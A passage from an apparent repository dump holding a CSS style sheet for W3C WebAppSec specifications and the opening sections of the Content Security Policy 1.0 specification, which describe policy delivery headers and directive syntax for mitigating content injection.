    "content": "/*\n * Style sheet for WebAppSec specifications (stolen wholesale from the CSSWG),\n * to be used in addition to http://www.w3.org/StyleSheets/TR/W3C-{WD,PR,REC}\n */\n\n@media print {\n\thtml { margin: 0 !important }\n\tbody { font-family: serif }\n\tth, td { font-family: inherit }\n\ta { color: inherit !important }\n\t.example:before { font-family: serif !important }\n\ta:link, a:visited { text-decoration: none !important }\n\ta:link:after, a:visited:after { /* create a cross-ref \"see...\" */ }\n}\n@page {\n\tmargin: 1.5cm 1.1cm;\n}\n\nbody {\n\tcounter-reset: exampleno figure issue;\n\tmax-width: 50em;\n\tmargin: 0 auto !important;\n}\n\n/* Pagination */\nh1, h2, h3, h4, h5, h6 { page-break-after: avoid }\nfigure, div.figure, div.sidefigure, pre, table.propdef, table.propdef-extra,\n.example { page-break-inside: avoid }\ndt { page-break-after: avoid }\n\nspan.id {float: right; font-weight: bold}\n\n/* General Structural Markup */\nh2, h3, h5, h6 { margin-top: 3em; }\n\n/* #subtitle is a subtitle in an H2 under the H1 */\nh1 + h2, #subtitle + h2 { margin-top: 0; }\n\nh4 { margin-top: 4em; }\n\nh2 + h3, h3 + h4, h4 + h5, h5 + h6 { margin-top: 1.2em }\n\nhr:not([title]) {\n\tfont-size: 1.5em;\n\ttext-align: center;\n\tmargin: 1em auto;\n\tborder: transparent solid;\n\tbackground: transparent;\n}\nhr:not([title])::before {\n\tcontent: \"\\1F411\\2003\\2003\\1F411\\2003\\2003\\1F411\";\n}\n\np, div.note, div.issue, details.why {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\ndd > p:first-child, li > p:first-child, .note > p:first-child, .issue > p:first-child {\n\tmargin-top: 0\n}\n\npre {\n\tmargin-top: 1em;\n\tmargin-bottom: 1em;\n}\n\npre, code {\n\tfont-family: Menlo, Consolas, \"DejaVu Sans Mono\", monospace;\n\tfont-size: .9em;\n}\n\nimg {\n\tborder-style: none;\n\tcolor: white;\n}\n.toc {\n}\n\nbody {\n\tline-height: 1.5;\n}\n\na.logo:link, a.logo:visited {\n\tpadding: 0;\n\tborder-style: none;\n}\n\ndl dd { margin: 0 0 1em 2em }\n.head dd { margin-bottom: 0; }\nul, ol { margin-left: 0; padding-left: 2em; }\nli { margin: 0.25em 2em 0.5em 0; padding-left: 0 }\n\nul.indexlist { margin-left: 0; columns: 13em; }\nul.indexlist li { margin-left: 0; list-style: none }\nul.indexlist li li { margin-left: 1em }\nul.indexlist a { font-weight: bold; }\nul.indexlist ul, ul.indexlist dl { font-size: smaller; }\nul.indexlist dl { margin-top: 0; }\nul.indexlist dt { margin: .2em 0 .2em 20px;}\nul.indexlist dd { margin: .2em 0 .2em 40px;}\n\n/* .self-link is a link to the element */\n.heading, .issue, .note, .example, li, dt { position: relative; }\na.self-link {\n\tposition: absolute;\n\ttop: 0;\n\tleft: -2.5em;\n\twidth: 2em;\n\theight: 2em;\n\ttext-align: center;\n\tborder: none;\n\ttransition: opacity .2s;\n\topacity: .5;\n}\na.self-link:hover {\n\topacity: 1;\n}\n.heading > a.self-link {\n\tfont-size: 83%;\n}\nli > a.self-link {\n\tleft: -3.5em;\n}\ndfn > a.self-link {\n\ttop: auto;\n\tleft: auto;\n\topacity: 0;\n\twidth: 1.5em;\n\theight: 1.5em;\n\tbackground: gray;\n\tcolor: white;\n\tfont-style: normal;\n\ttransition: opacity .2s, background-color .2s, color .2s;\n}\ndfn:hover > a.self-link {\n\topacity: 1;\n}\ndfn > a.self-link:hover {\n\tcolor: black;\n}\n\na.self-link::before { content: \"¶\"; }\n.heading > a.self-link::before { content: \"§\"; }\ndfn > a.self-link::before { content: \"#\"; }\n\n/* Examples */\n\n.example {\n\tcounter-increment: exampleno;\n}\n.example:before {\n\tcontent: \"Example\";\n\tcontent: \"Example \" counter(exampleno);\n\tmin-width: 7.5em;\n\ttext-transform: uppercase;\n\tdisplay: block;\n}\ndiv.illegal-example:before, pre.illegal-example:before {\n\tcontent: \"Invalid Example\";\n\tcontent: \"Invalid Example\" counter(exampleno);\n}\n.example, .illegal-example, div.html, div.illegal-html, div.xml,\ndiv.illegal-xml, pre.html,\npre.illegal-html, pre.xml, pre.illegal-xml {\n\tpadding: 0.5em;\n\tmargin: 1em 0;\n\tposition: relative;\n\tclear: both;\n}\npre.example, pre.illegal-example, pre.html,\npre.illegal-html, pre.xml, pre.illegal-xml {\n\tpadding-top: 1.5em;\n}\npre.illegal-example { color: red }\ndiv.illegal-example { color: red }\ndiv.illegal-example p { color: black }\n\ndiv.html { color: #600 }\npre.html { color: #600 }\npre.illegal-html { color: red }\ndiv.illegal-html { color: red }\ndiv.illegal-html p { color: black }\npre.deprecated-html { color: red }\ndiv.deprecated-html { color: red }\ndiv.deprecated-html p { color: black }\n\ndiv.xml { color: #600 }\npre.xml { color: #600 }\npre.illegal-xml { color: red }\ndiv.illegal-xml { color: red }\ndiv.illegal-xml p { color: black }\n\n.css, .property { color: #005a9c }\t\t/* inline CSS code (SPAN/CODE) */\ncode.css { font-family: inherit; font-size: 100% }\ncode.html { color: #600 }\t/* inline HTML */\ncode.xml { color: #600 }\t/* inline XML */\n.property { font: inherit; white-space: nowrap; }\t/* name of a CSS property (SPAN) */\n.descriptor { }\t\t\t/* name of a CSS descriptor (SPAN) */\n.type { font-style: italic }\t/* A <type> value for a property */\n\n/* Autolinks produced using Bikeshed. */\n[data-link-type=\"property\"]::before,\n[data-link-type=\"propdesc\"]::before,\n[data-link-type=\"descriptor\"]::before,\n[data-link-type=\"value\"]::before,\n[data-link-type=\"function\"]::before,\n[data-link-type=\"at-rule\"]::before,\n[data-link-type=\"selector\"]::before,\n[data-link-type=\"maybe\"]::before {content: \"\\2018\";}\n[data-link-type=\"property\"]::after,\n[data-link-type=\"propdesc\"]::after,\n[data-link-type=\"descriptor\"]::after,\n[data-link-type=\"value\"]::after,\n[data-link-type=\"function\"]::after,\n[data-link-type=\"at-rule\"]::after,\n[data-link-type=\"selector\"]::after,\n[data-link-type=\"maybe\"]::after {content: \"\\2019\";}\n[data-link-type].production::before,\n[data-link-type].production::after,\n.prod [data-link-type]::before,\n.prod [data-link-type]::after { content: \"\"; }\n\n\n/* Element-type link styling */\n[data-link-type=element] { font-family: monospace; }\n[data-link-type=element]::before { content: \"<\" }\n[data-link-type=element]::after { content: \">\" }\n\ndfn { font-weight: bolder; }\n\n.issue, .note, .example, .why {\n\tpadding: .5em;\n\t/* padding: .5rem; /* proposed unit in css3-values */\n\tborder-left-width: .5em;\n\t/* border-left-width: .5rem; /* proposed unit in css3-values */\n\tborder-left-style: solid;\n}\nspan.note, span.issue {\n\tpadding: .1em .5em .15em;\n\tborder-right-width: .5em;\n\tborder-right-style: solid;\n}\n\n/* Open issue / editorial remark; not intended for a final publication */\n.issue {\n\tborder-color: #E05252;\n\tbackground: #FBE9E9;\n\tcounter-increment: issue;\n\toverflow: auto;\n}\n\n.issue:before {\n\tcontent: \"Issue \" counter(issue);\n\tpadding-right: 1em;\n\ttext-transform: uppercase;\n\tcolor: #E05252;\n}\n\n/* Class note is a non-normative note. May be inline or a P or DIV */\n.note, .why {\n\tborder-color: #52E052;\n\tbackground: #E9FBE9;\n\toverflow: auto;\n}\n\n.normref { color: red }\n.informref { color: green }\n\n/* Example box */\n.example {\n\tborder-color: #E0CB52;\n\tbackground: #FCFAEE;\n\toverflow: auto;\n}\n\n.example:before {\n\tcolor: #B9AB2D;\n\tfont-family: sans-serif;\n}\n\ndetails.why {\n\tborder-color: #52E052;\n\tbackground: #E9FBE9;\n\tdisplay: block;\n}\n\ndetails.why > summary {\n\tfont-style: italic;\n\tdisplay: block;\n}\n\ndetails.why[open] > summary {\n\tborder-bottom: 1px silver solid;\n}\n\n/* ToC not indented, but font style shows hierarchy */\nul.toc {margin: 1em 0; padding: 0; line-height: 1.3; font-weight: bold; /*text-transform: uppercase;*/ }\nul.toc ul {margin: 0; padding: 0; font-weight: normal; text-transform: none; }\nul.toc ul ul {margin: 0 0 0 2em; font-style: italic; }\nul.toc ul ul ul {margin: 0}\nul.toc > li {margin: 1.5em 0; padding: 0; }\nul.toc ul.toc li { margin: 0.3em 0 0 0; }\nul.toc a { text-decoration: none; border-bottom-style: none; }\nul.toc a:hover, ul.toc a:focus { border-bottom-style: solid; }\n/*\nul.toc li li li, ul.toc li li li ul {margin-left: 0; display: inline}\nul.toc li li li ul, ul.toc li li li ul li {margin-left: 0; display: inline}\n*/\n\n/* Section numbers in a column of their own */\nul.toc span.secno {float: left; width: 4em; margin-left: -5em}\nul.toc ul ul span.secno { margin-left: -7em; }\n/*ul.toc span.secno {text-align: right}*/\nul.toc li {clear: both}\nul.toc {margin-left: 5em}\n/* If we had 'tab', floats would not be needed here:\n\t ul.toc span.secno {tab: 5em right; margin-right: 1em}\n\t ul.toc li {text-indent: 5em hanging}\n The second line in case items wrap\n*/\n\nul.index {\n\tlist-style: none;\n}\n\ns, del {text-decoration: line-through; color: red}\nu, ins {text-decoration: underline; color: #080}\n\ndiv.figure, p.figure, div.sidefigure, figure {\n\ttext-align: center;\n\tmargin: 2.5em 0;\n}\ndiv.figure pre, div.sidefigure pre, figure pre {\n\ttext-align: left;\n\tdisplay: table;\n\tmargin: 1em auto;\n}\n.figure table, figure table {\n\tmargin: auto;\n}\ndiv.sidefigure, figure.sidefigure {\n\tfloat: right;\n\twidth: 50%;\n\tmargin: 0 0 0.5em 0.5em\n}\ndiv.figure img, div.sidefigure img, figure img,\ndiv.figure object, div.sidefigure object, figure object {\n\tdisplay: block;\n\tmargin: auto;\n\tmax-width: 100%\n}\np.caption, figcaption, caption {\n\ttext-align: center;\n\tfont-style: italic;\n\tfont-size: 90%;\n}\np.caption:before, figcaption:before {\n\tcontent: \"Figure \" counter(figure) \". \";\n\tfont-weight: bold;\n}\np.caption, figcaption {\n\tcounter-increment: figure;\n}\n\n/* DL list is indented, but figure inside it is not */\ndd { margin-left: 2em }\ndd div.figure, dd figure { margin-left: -2em }\n\nsup {\n\tvertical-align: super;\n\tfont-size: 80%\n}\n\n/* \"Equations\" (not real MathML, but simple HTML) are put in a\nblockquote and may have an equation number. We make sure the\nblockquote has enough margin on the right and then put the equation\nnumber there. */\n\nblockquote {\n\tmargin: 0.5em 4em 0.5em 2em;\n\ttext-indent: 0;\n}\n.eqno {\n\ttext-align: right;\n\tfloat: right;\n\twidth: 3em;\n\tmargin: 0 -4em 0 0;\n\tfont-weight: bold;\n\t/* background: silver; color: black; padding: 0.1em */\n}\n\ntable.equiv-table { border-spacing: 0; margin: 0.5em 0 }\ntable.equiv-table th, table.equiv-table td { padding: 0.3em }\ntable.equiv-table th { text-align: left }\n/* table.equiv-table th:first-child { text-align: right } */\ntable.equiv-table td, table.equiv-table th { border-bottom: thin solid #666 }\ntable.equiv-table { border-bottom: hidden }\ntable.equiv-table { empty-cells: show }\ntable.equiv-table caption { margin: 0.5em 0 0 0 }\n\n/* Style for table of properties */\ntable.proptable {\n\tfont-size: small;\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n\ttext-align: left;\n\tmargin: 1em 0;\n}\n\ntable.proptable td, table.proptable th {\n\tpadding: 0.4em;\n\ttext-align: center;\n}\n\ntable.proptable tr:hover td {\n\tbackground: #DEF;\n}\n\n\n/* Style for table that defines a property or a descriptor */\ntable.propdef, table.propdef-extra, table.descdef, table.definition-table {\n\tborder-spacing: 0;\n\tpadding: 0 1em 0.5em;\n\twidth: 100%;\n\ttable-layout: fixed;\n\tbackground: #DEF;\n\tmargin: 1.2em 0;\n\tborder-left: 0.5em solid #8CCBF2;\n}\n\ntable.propdef td, table.propdef-extra td, table.descdef td, table.definition-table td,\ntable.propdef th, table.propdef-extra th, table.descdef th, table.definition-table th {\n\tpadding: 0.5em;\n\tvertical-align: baseline;\n\tborder-bottom: 1px solid #bbd7e9;\n}\n/*\ntable.propdef dfn, table.propdef-extra dfn, table.descdef dfn {\n\tfont-weight: bold;\n\tfont-style: normal\n}\n*/\n\ntable.propdef td:first-child,\ntable.propdef-extra td:first-child,\ntable.descdef td:first-child,\ntable.definition-table td:first-child,\ntable.propdef th:first-child,\ntable.propdef-extra th:first-child,\ntable.descdef th:first-child,\ntable.definition-table th:first-child {\n\tfont-style: italic;\n\tfont-weight: normal;\n\twidth: 8.3em;\n\tpadding-left: 1em;\n}\ntable.propdef td[colspan]:first-child,\ntable.propdef-extra td[colspan]:first-child,\ntable.descdef td[colspan]:first-child,\ntable.definition-table td[colspan]:first-child,\ntable.propdef th[colspan]:first-child,\ntable.propdef-extra th[colspan]:first-child,\ntable.descdef th[colspan]:first-child,\ntable.definition-table th[colspan]:first-child {\n\tfont-style: inherit\n}\ntable.propdef tr:first-child,\ntable.propdef-extra tr:first-child,\ntable.descdef tr:first-child,\ntable.definition-table tr:first-child {\n\n}\n\ntable.propdef > tbody > tr:last-child th,\ntable.propdef-extra > tbody > tr:last-child th,\ntable.descdef > tbody > tr:last-child th,\ntable.definition-table > tbody > tr:last-child th,\ntable.propdef > tbody > tr:last-child td,\ntable.propdef-extra > tbody > tr:last-child td,\ntable.descdef > tbody > tr:last-child td,\ntable.definition-table > tbody > tr:last-child td {\n\tborder-bottom: 0;\n}\n\ntable.propdef tr:first-child th,\ntable.propdef-extra tr:first-child th,\ntable.descdef tr:first-child th,\ntable.definition-table tr:first-child th,\ntable.propdef tr:first-child td,\ntable.propdef-extra tr:first-child td,\ntable.descdef tr:first-child td,\ntable.definition-table tr:first-child td {\n\tpadding-top: 1em;\n}\n\n/* For when values are extra-complex and need formatting for readability */\ntable td.pre {\n\twhite-space: pre-wrap;\n}\n\n/* A footnote at the bottom of a propdef */\ntable.propdef td.footnote,\ntable.propdef-extra td.footnote,\ntable.descdef td.footnote,\ntable.definition-table td.footnote {\n\tpadding-top: 0.6em;\n\twidth: auto\n}\ntable.propdef td.footnote:before,\ntable.propdef-extra td.footnote:before,\ntable.descdef td.footnote:before,\ntable.definition-table td.footnote:before {\n\tcontent: \" \";\n\tdisplay: block;\n\theight: 0.6em;\n\twidth: 4em;\n\tborder-top: thin solid;\n}\n\n/* The link in the first column in the property table (formerly a TD) */\ntable.proptable td .property,\ntable.proptable th .property {\n\tdisplay: block;\n\ttext-align: left;\n\tfont-weight: bold;\n}\n\n\n/* Styling for IDL fragments */\n\npre.idl {\n\tpadding: .5em 1em;\n\tbackground: #DEF;\n\tmargin: 1.2em 0;\n\tborder-left: 0.5em solid #8CCBF2;\n}\npre.idl :link, pre.idl :visited {\n\tcolor:inherit;\n\tbackground:transparent;\n}\n\n\n/* CSS modules typically don't use MUST, SHOULD etc. from RFC 2119,\nor, if they do, they don't put them in uppercase. But the following\nclass is provided in case a spec wants to use RFC 2119 terms in\nuppercase in the source. */\n\nem.rfc2119 {\n\ttext-transform: lowercase;\n\tfont-variant: small-caps;\n\tfont-style: normal\n}\n\n/* In Profile specs, a table of required features: */\n\ntable.features th {\n\tbackground: #00589f;\n\tcolor: #fff;\n\ttext-align: left;\n\tpadding: 0.2em 0.2em 0.2em 0.5em;\n}\ntable.features td {\n\tvertical-align: top;\n\tborder-bottom: 1px solid #ccc;\n\tpadding: 0.3em 0.3em 0.3em 0.7em;\n}\n\n\n/* Style for data tables (and properly marked-up proptables) */\n\n.data, .proptable {\n\tmargin: 1em auto;\n\tborder-collapse: collapse;\n\twidth: 100%;\n\tborder: hidden;\n}\n.data {\n\ttext-align: center;\n\twidth: auto;\n}\n.data caption {\n\twidth: 100%;\n}\n\n.data td, .data th,\n.proptable td, .proptable th {\n\tpadding: 0.5em;\n\tborder-width: 1px;\n\tborder-color: silver;\n\tborder-top-style: solid;\n}\n\n.data thead td:empty {\n\tpadding: 0;\n\tborder: 0;\n}\n\n.data thead th[scope=\"row\"],\n.proptable thead th[scope=\"row\"] {\n\ttext-align: right;\n\tcolor: inherit;\n}\n\n.data thead,\n.proptable thead,\n.data tbody,\n.proptable tbody {\n\tcolor: inherit;\n\tborder-bottom: 2px solid;\n}\n\n.data colgroup {\n\tborder-left: 2px solid;\n}\n\n.data tbody th:first-child,\n.proptable tbody th:first-child ,\n.data tbody td[scope=\"row\"]:first-child,\n.proptable tbody td[scope=\"row\"]:first-child {\n\ttext-align: right;\n\tcolor: inherit;\n\tborder-right: 2px solid;\n\tborder-top: 1px solid silver;\n\tpadding-right: 1em;\n}\n.data.define td:last-child {\n\ttext-align: left;\n}\n\n.data tbody th[rowspan],\n.proptable tbody th[rowspan],\n.data tbody td[rowspan],\n.proptable tbody td[rowspan]{\n\tborder-left: 1px solid silver;\n}\n\n.data tbody th[rowspan]:first-child,\n.proptable tbody th[rowspan]:first-child,\n.data tbody td[rowspan]:first-child,\n.proptable tbody td[rowspan]:first-child{\n\tborder-left: 0;\n\tborder-right: 1px solid silver;\n}\n\n.complex.data th,\n.complex.data td {\n\tborder: 1px solid silver;\n}\n\n.data td.long {\n vertical-align: baseline;\n text-align: left;\n}\n\n.data img {\n\tvertical-align: middle;\n}\n\ntable.propdef {\n\ttable-layout: auto;\n}\n.propdef th {\n\tfont-style: italic;\n\tfont-weight: normal;\n\ttext-align: left;\n\twidth: 3em;\n}\ndt dfn code {\n\tfont-size: inherit;\n}\n\n/* Style for switch/case <dl>s */\ndl.switch {\n padding-left: 2em;\n}\ndl.switch > dt {\n text-indent: -1.5em;\n}\ndl.switch > dt:before {\n content: '\\21AA';\n padding: 0 0.5em 0 0;\n display: inline-block;\n width: 1em;\n text-align: right;\n line-height: 0.5em;\n}\n\n\n/* Style for At Risk features (intended as editorial aid, not intended for publishing) */\n.atrisk::before {\n position: absolute;\n margin-left: -5em;\n margin-top: -2px;\n padding: 4px;\n border: 1px solid;\n content: 'At risk';\n font-size: small;\n background-color: white;\n color: gray;\n border-radius: 1em;\n text-align: center;\n}\n\n.toc .atrisk::before { content:none }\n\n\n/* This is mostly to make the list inside the CR exit criteria more compact. */\nol.inline, ol.inline li {display: inline; padding: 0; margin: 0}\nol.inline {counter-reset: list-item}\nol.inline li {counter-increment: list-item}\nol.inline li:before {content: \"(\" counter(list-item) \") \"; font-weight: bold}\n\n/* This styles the obsoletion notice on some of our older/abandoned specs. */\ndetails.annoying-warning[open] {\n\tbackground: #fdd;\n\tcolor: red;\n\tfont-weight: bold;\n\ttext-align: center;\n\tpadding: .5em;\n\tborder: thick solid red;\n\tborder-radius: 1em;\n\tposition: fixed;\n\tleft: 1em;\n\tright: 1em;\n\tbottom: 1em;\n\tz-index: 1000;\n}\n\ndetails.annoying-warning:not([open]) > summary {\n\tbackground: #fdd;\n\tcolor: red;\n\tfont-weight: bold;\n\ttext-align: center;\n\tpadding: .5em;\n}\n"
  },
  {
    "path": "published/2012-11-15-CSP-1-0-CR.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <title>Content Security Policy 1.0</title>\n    <meta http-equiv='Content-Type' content='text/html;charset=utf-8'/>\n    <!--\n      === NOTA BENE ===\n      For the three scripts below, if your spec resides on dev.w3 you can check them\n      out in the same tree and use relative links so that they'll work offline,\n     -->\n    <script src='js/respec.js' class='remove'></script>\n    <script class='remove'>\n      var respecConfig = {\n          // specification status (e.g. WD, LCWD, NOTE, etc.). If in doubt use ED.\n          // Member-SUBM\n          specStatus:           \"ED\",\n\n          // the specification's short name, as in http://www.w3.org/TR/short-name/\n          shortName:            \"CSP\",\n\n          // if your specification has a subtitle that goes below the main\n          // formal title, define it here\n          // subtitle   :  \"an excellent document\",\n\n          // if you wish the publication date to be other than today, set this\n          // publishDate:  \"2009-08-06\",\n\n          // if the specification's copyright date is a range of years, specify\n          // the start date here:\n          copyrightStart: \"2010\",\n\n          // if there is a previously published draft, uncomment this and set its YYYY-MM-DD date\n          // and its maturity status\n          // previousPublishDate:  \"1977-03-15\",\n          // previousMaturity:  \"WD\",\n\n          // if there a publicly available Editor's Draft, this is the link\n          edDraftURI:           \"http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-1.0-specification.html\",\n\n          // if this is a LCWD, uncomment and set the end of its review period\n          // lcEnd: \"2009-08-05\",\n\n          // if you want to have extra CSS, append them to this list\n          // it is recommended that the respec.css stylesheet be kept\n          extraCSS:             [\"css/respec.css\"],\n\n          // editors, add as many as you like\n          // only \"name\" is required\n          editors:  [\n              { name: \"Brandon Sterne\", url: \"mailto:bsterne@mozilla.com\",\n                company: \"Mozilla Corporation\", companyURL: \"http://www.mozilla.com/\" },\n              { name: \"Adam Barth\", url: \"mailto:w3c@adambarth.com\",\n                company: \"Google, Inc.\", companyURL: \"http://www.google.com/\" },\n          ],\n\n          // authors, add as many as you like. \n          // This is optional, uncomment if you have authors as well as editors.\n          // only \"name\" is required. Same format as editors.\n\n          //authors:  [\n          //    { name: \"Your Name\", url: \"http://example.org/\",\n          //      company: \"Your Company\", companyURL: \"http://example.com/\" },\n          //],\n\n          // name of the WG\n          wg:           \"Web Application Security Working Group\",\n\n          // URI of the public WG page\n          wgURI:        \"http://www.w3.org/2011/webappsec/\",\n\n          // name (with the @w3c.org) of the public mailing to which comments are due\n          wgPublicList: \"public-webappsec\",\n\n          // URI of the patent status for this WG, for Rec-track documents\n          // !!!! IMPORTANT !!!!\n          // This is important for Rec-track documents, do not copy a patent URI from a random\n          // document unless you know what you're doing. If in doubt ask your friendly neighbourhood\n          // Team Contact.\n          wgPatentURI:  \"http://www.w3.org/2004/01/pp-impl/49309/status\",\n      };\n    </script>\n  </head>\n  <body>\n    <section id=\"abstract\">\n      <p>This document defines a policy language used to declare a set of\n      content restrictions for a web resource, and a mechanism for\n      transmitting the policy from a server to a client where the policy is\n      enforced.</p>\n    </section>\n\n    <section id=\"sotd\">\n      <p>This document describes a proposal that has been\n      discussed by the broader community for about two years.  There are\n      experimental implementations in Firefox and Chrome, using the header\n      names <code>X-Content-Security-Policy</code> and\n      <code>X-WebKit-CSP</code> respectively.  Internet Explorer 10 Platform\n      Preview also contains a partial implementation, using the header name\n      <code>X-Content-Security-Policy</code>.</p>\n\n      <p>In addition to the documents in the W3C Web Application Security\n      working group, the work on this document is also informed by the work of\n      the <a href=\"http://tools.ietf.org/wg/websec/\">IETF websec working\n      group</a>, particularly that working group's requirements document:\n      <a href=\"http://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.</p>\n    </section>\n\n    <section class=\"informative\">\n      <h2>Introduction</h2>\n\n      <p>This document defines Content Security Policy, a mechanism web\n      applications can use to mitigate a broad class of content injection\n      vulnerabilities, such as cross-site scripting (XSS). Content Security\n      Policy is a declarative policy that lets the authors (or server\n      administrators) of a web application inform the client from where the\n      application expects to load resources.</p>\n\n      <p>To mitigate XSS, for example, a web application can declare from where\n      it expects to load scripts, allowing the client to detect and block\n      malicious scripts injected into the application by an attacker.</p>\n\n      <p>Content Security Policy (CSP) is not intended as a first line of\n      defense against content injection vulnerabilities. Instead, CSP is best\n      used as defense-in-depth, to reduce the harm caused by content injection\n      attacks.</p>\n\n      <p>There is often a non-trivial amount of work required to apply CSP to\n      an existing web application. To reap the greatest benefit, authors will\n      need to move all inline script and style out-of-line, for example into\n      external scripts, because the user agent cannot determine whether an\n      inline script was injected by an attacker.</p>\n\n      <p>To take advantage of CSP, a web application opts into using CSP by\n      supplying a <code>Content-Security-Policy</code> HTTP header Such\n      policies apply the current resource representation only. To supply a\n      policy for an entire site, the server needs to supply a policy with each\n      resource representation.</p>\n    </section>\n\n    <section id=\"conformance\">\n      <p>Requirements phrased in the imperative as part of algorithms (such as\n      \"strip any leading space characters\" or \"return false and abort these\n      steps\") are to be interpreted with the meaning of the key word (\"MUST\",\n      \"SHOULD\", \"MAY\", etc) used in introducing the algorithm.</p>\n\n      <p>A <dfn>conformant user agent</dfn> MUST implement all the\n      requirements listed in this specification that are applicable to\n      user-agents, and MAY implement those marked as \"(Optional)\".\n\n      <p>A <dfn>conformant server</dfn> MUST implement all the requirements\n      listed in this specification that are applicable to servers.</p>\n\n      <section>\n        <h3>Key Concepts and Terminology</h3>\n\n        <p>This section defines several terms used throughout the document.</p>\n\n        <p>The term <dfn>security policy</dfn>, or\n        simply <dfn>policy</dfn>, for the purposes of this\n        specification refers to either:\n          <ol>\n            <li>a set of security preferences for restrictions within which the\n            content can operate, or</li>\n            <li>a fragment of text that codifies these preferences.</li>\n          </ol>\n        </p>\n\n        <p>The security policies defined by this document are applied by a\n        user agent on a <em>per-resource representation basis</em>.\n        Specifically, when a user agent receives a policy along with the\n        representation of a given resource, that policy applies to <em>that\n        resource representation only</em>. This document often refers to\n        that resource representation as the <dfn>protected resource</dfn>.\n\n        <p>A server transmits its security policy for a particular protected\n        resource as a collection of <dfn>directives</dfn>, such as\n        <code>default-src 'self'</code>, each of which declares a specific set\n        of restrictions for that resource as instantiated by the user agent.\n        More details are provided in the <a href=\"#directives\">directives</a>\n        section.</p>\n\n        <p>A directive consists of a <dfn>directive name</dfn>, which\n        indicates the privileges controlled by the directive, and a\n        <dfn>directive value</dfn>, which specifies the restrictions the\n        policy imposes on those privileges.</p>\n\n        <p>The term <dfn id=\"origin\">origin</dfn> is defined in the Origin specification. [[!RFC6454]]</p>\n\n        <p>The term <dfn>URI</dfn> is defined in the URI specification.  [[!URI]]</p>\n\n        <p>The term <dfn>resource representation</dfn> is defined in the HTTP 1.1 specification.  [[!HTTP11]]</p>\n\n        <p>The <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>,\n        <code>&lt;img&gt;</code>, <code>&lt;video&gt;</code>, <code>&lt;audio&gt;</code>,\n        <code>&lt;source&gt;</code>, <code>&lt;track&gt;</code>,\n        <code>&lt;link&gt;</code>, <code>&lt;applet&gt;</code>, <code>&lt;frame&gt;</code>\n        and <code>&lt;iframe&gt;</code> elements are defined in the HTML5 specification. [[!HTML5]]</p>\n\n        <p>A <a href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> is defined\n        in the HTML5 specification. [[!HTML5]]</p> \n\n        <p>The <code>@font-face</code> Cascading Style Sheets (CSS) rule is defined in the\n        CSS Fonts Module Level 3 specification. [[!CSS3FONT]]</p>\n\n        <p>The <code>XMLHttpRequest</code> object is defined in the <code>XMLHttpRequest</code>\n        specification. [[!XMLHTTPREQUEST]]</p>\n\n        <p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n        specification. [[!WEBSOCKETS]]</p>\n\n        <p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n        specification. [[!EVENTSOURCE]]</p>\n\n        <p>The Augmented Backus-Naur Form (ABNF) notation used in this\n        document is specified in RFC 5234. [[!ABNF]]</p>\n\n        <p>This document also uses the ABNF extension \"#rule\" as defined in HTTP 1.1. [[!HTTP11]]</p>\n\n        <p>The following core rules are included by reference, as defined in\n        [<em><a href=\"http://tools.ietf.org/html/rfc5234#appendix-B.1\">ABNF Appendix B.1</a></em>]:\n        <code>ALPHA</code> (letters), <code>DIGIT</code> (decimal\n        0-9), <code>WSP</code> (white space) and <code>VCHAR</code> (printing\n        characters).</p>\n      </section>\n    </section>\n\n    <section>\n      <h2>Framework</h2>\n\n      <p>This section defines the general framework for content security\n      policies, including the delivery mechanisms and general syntax for\n      policies. The next section contains the details of the specific\n      directives introduced in this specification.</p>\n\n      <section>\n        <h3>Policy Delivery</h3>\n\n        <p>The server delivers the policy to the user agent via an HTTP\n        response header.</p>\n\n        <section>\n          <h4><code>Content-Security-Policy</code> Header Field</h4>\n\n          <p>The <code>Content-Security-Policy</code> header field is the\n          preferred mechanism for delivering a CSP policy.</p>\n\n<pre>\n\"Content-Security-Policy:\" 1#policy\n</pre>\n\n          <p>A server MAY send more than one HTTP header field named\n          <code>Content-Security-Policy</code> with a given resource\n          representation.</p>\n\n          <p>A server MAY send different <code>Content-Security-Policy</code>\n          header field values with different representations of the same\n          resource or with different resources.</p>\n\n          <p>Upon receiving an HTTP response containing at least one\n          <code>Content-Security-Policy</code> header field, the user agent\n          MUST <a href=\"#enforce\">enforce</a> each of the policies contained\n          in each such header field.</p>\n        </section>\n\n        <section>\n          <h4><code>Content-Security-Policy-Report-Only</code> Header Field</h4>\n\n          <p>The <code>Content-Security-Policy-Report-Only</code> header field\n          lets servers experiment with policies by monitoring (rather than\n          enforcing) a policy.</p>\n\n<pre>\n\"Content-Security-Policy-Report-Only:\" 1#policy\n</pre>\n\n          <p>For example, a server operators might wish to develop their\n          security policy iteratively. The operators can deploy a report-only\n          policy based on their best estimate of how their site behaves. If\n          their site violates this policy, instead of breaking the site, the\n          user agent will send violation reports to a URI specified in the\n          policy. Once a site has confidence that the policy is appropriate,\n          they start enforcing the policy using the\n          <code>Content-Security-Policy</code> header field.</p>\n\n          <p>A server MAY send more than one HTTP header field named\n          <code>Content-Security-Policy-Report-Only</code> with a given\n          resource representation.<p>\n\n          <p>A server MAY send different\n          <code>Content-Security-Policy-Report-Only</code> header field values\n          with different representations of the same resource or with different\n          resources.</p>\n\n          <p>Upon receiving an HTTP response containing at least one\n          <code>Content-Security-Policy-Report-Only</code> header field, the\n          user agent MUST <a href=\"#monitor\">monitor</a> each of the policies\n          contained in each such header field.</p>\n        </section>\n      </section>\n\n      <section>\n        <h3>Syntax and Algorithms</h3>\n\n        <section>\n          <h4>Policies</h4>\n\n          <p>A CSP <dfn>policy</dfn> consists of a U+003B SEMICOLON\n          (<code>;</code>) delimited list of directives:</p>\n\n<pre>\npolicy            = [ directive *( \";\" [ directive ] ) ]\n</pre>\n\n          <p>Each <dfn>directive</dfn> consists of a <var>directive-name</var>\n          and (optionally) a <var>directive-value</var>:</p>\n\n<pre>\ndirective         = *WSP [ directive-name [ WSP directive-value ] ]\ndirective-name    = 1*( ALPHA / DIGIT / \"-\" )\ndirective-value   = *( WSP / &lt;VCHAR except \";\" and \",\"&gt; )\n</pre>\n\n          <section>\n            